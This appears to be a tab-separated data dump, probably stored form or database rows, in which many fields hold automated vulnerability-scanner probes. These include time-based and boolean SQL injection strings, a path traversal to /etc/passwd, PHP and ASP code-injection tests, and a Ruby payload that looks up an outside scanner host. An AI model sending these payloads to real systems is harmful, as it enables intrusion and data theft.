1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	http://bxss.me/t/fit.txt%3F.jpg	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	!(()&&!|*|*|	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"'""()"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU'||sleep(27*1000)*garssn||'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"'""()"	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1""||sleep(27*1000)*ewfaeq||"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1'||sleep(27*1000)*thumyp||'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"'""()"	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU'&&sleep(27*1000)*oqrwog&&'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU""&&sleep(27*1000)*xnrjdd&&"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU""||sleep(27*1000)*bkusgz||"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1'&&sleep(27*1000)*rdrpwk&&'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1""&&sleep(27*1000)*klwwjp&&"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1'||sleep(27*1000)*wlikaz||'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'""()"	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1'&&sleep(27*1000)*zjjcsy&&'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"1""&&sleep(27*1000)*nlanru&&"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU""&&sleep(27*1000)*dbshra&&"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU'||sleep(27*1000)*ttodbl||'	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'&&sleep(27*1000)*temsnt&&'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102""&&sleep(27*1000)*glxbsd&&"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'||sleep(27*1000)*hndzeh||'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102""||sleep(27*1000)*tuspuj||"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUd6ZQcGix	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1eefRkQfv	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=25	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1 OR 5*5=26	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 -- "	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 -- "	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=25 or 'HRcXrrGg'='	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	-1' OR 5*5=26 or 'HRcXrrGg'='	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=25 or ""QV2IFZHG""="""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"-1"" OR 5*5=26 or ""QV2IFZHG""="""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	if(now()=sysdate(),sleep(15),0)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"ncMUFCMU0""XOR(if(now()=sysdate(),sleep(15),0))XOR""Z"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'""+(select(0)from(select(sleep(15)))v)+""*/"	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU-1 waitfor delay '0:0:15' -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUORM9ekGF'; waitfor delay '0:0:15' -- 	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMUIrBMZnnn')) OR 558=(SELECT 558 FROM PG_SLEEP(15))--	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	(select 198766*667891)	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1 OR 5*5=25	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	../../../../../../../../../../../../../../etc/passwd	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=26 -- 	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=26 -- "	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	-1' OR 5*5=25 or 'AMJ34MZH'='	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"-1"" OR 5*5=25 or ""bHiq1XOz""="""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1*if(now()=sysdate(),sleep(15),0)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1&n944951=v984590	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1PZvkF1Zf')) OR 401=(SELECT 401 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	(select 198766*667891)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	(select 198766*667891 from DUAL)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMUGL3Qq5eX' OR 865=(SELECT 865 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	I83MekB7: EMozxlx6	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1 OR 838=(SELECT 838 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1'"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	"1����%2527%2522\'\"""	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	(select 198766*667891 from DUAL)	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=26	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=26 -- "	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMURIBUthk5')) OR 873=(SELECT 873 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1) OR 804=(SELECT 804 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1-1)) OR 478=(SELECT 478 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1VPZiRrSq' OR 38=(SELECT 38 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	10Df4tPWo') OR 992=(SELECT 992 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1fTOJii9R')) OR 717=(SELECT 717 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=25	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1 OR 5*5=26	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=25 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=26 -- 	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	-1' OR 5*5=25 or 'w6K6Dkt4'='	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"-1"" OR 5*5=26 or ""LQcSdqnV""="""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1*if(now()=sysdate(),sleep(15),0)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1-1)) OR 569=(SELECT 569 FROM PG_SLEEP(15))--	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"""+""A"".concat(70-3).concat(22*4).concat(110).concat(82).concat(118).concat(85)+(require""socket""
Socket.gethostbyname(""hitjd""+""gscslnli5aec1.bxss.me."")[3].to_s)+"""	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1 OR 5*5=25	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=25 -- "	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	-1' OR 5*5=26 or 'PVK7emFj'='	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=25 or ""SzOmsluN""="""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"-1"" OR 5*5=26 or ""SzOmsluN""="""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU-1 waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU6RlV6Dgq'; waitfor delay '0:0:15' -- 	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMUungu6Rh4') OR 714=(SELECT 714 FROM PG_SLEEP(15))--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	"ncMUFCMU'"""	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	(select 198766*667891)	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102Ayf23Xf5	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=25 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=26 -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	-1 OR 5*5=25	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1; waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1); waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1 waitfor delay '0:0:15' -- 	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1) OR 507=(SELECT 507 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102-1)) OR 270=(SELECT 270 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102bu3yKZCb' OR 426=(SELECT 426 FROM PG_SLEEP(15))--	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	"94102����%2527%2522\'\"""	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	bxss.me/t/xss.html?%00	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	@@oFZwJ	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	(select 198766*667891)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	(select 198766*667891 from DUAL)	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	<!--	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	"'"""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"'"""	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	""	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	ncMUFCMU	1	"""+response.write(9387852*9743236)+"""	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	1	1	1	ncMUFCMU	1	"12345'""\'\"");|]*%00{%0d%0a<%00>%bf%27'💡"	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
1	${@print(md5(31337))}\	1	1	ncMUFCMU	1	ncMUFCMU	1	ncMUFCMU	1	1	94102	94102	1967	1	1	1	1	1	1	1	1	1	1	1	1	1
